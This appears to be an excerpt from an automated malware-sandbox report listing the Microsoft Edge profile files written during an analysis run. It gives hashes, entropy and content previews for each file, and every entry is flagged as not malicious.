SHA-256:	00D8F4270B4C12BCA47FCED89D26BD1777605F8AC3AD8857FF4A01E0B490F0F3
SHA-512:	3D7EDED47E8E2D8F90EC40E19117A0BE8521C09E95D5B5F957B629B34CF8E89F23F289AEA33E566E4163BA771CC0760CB6AB710F8E62358185315F21CFD11F59
Malicious:	false
Preview:	2024/12/28-23:45:28.246 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/28-23:45:28.247 4fc Recovering log #3.2024/12/28-23:45:28.247 4fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39730.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3979d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF398e6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bfb7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3fd7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4a9d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
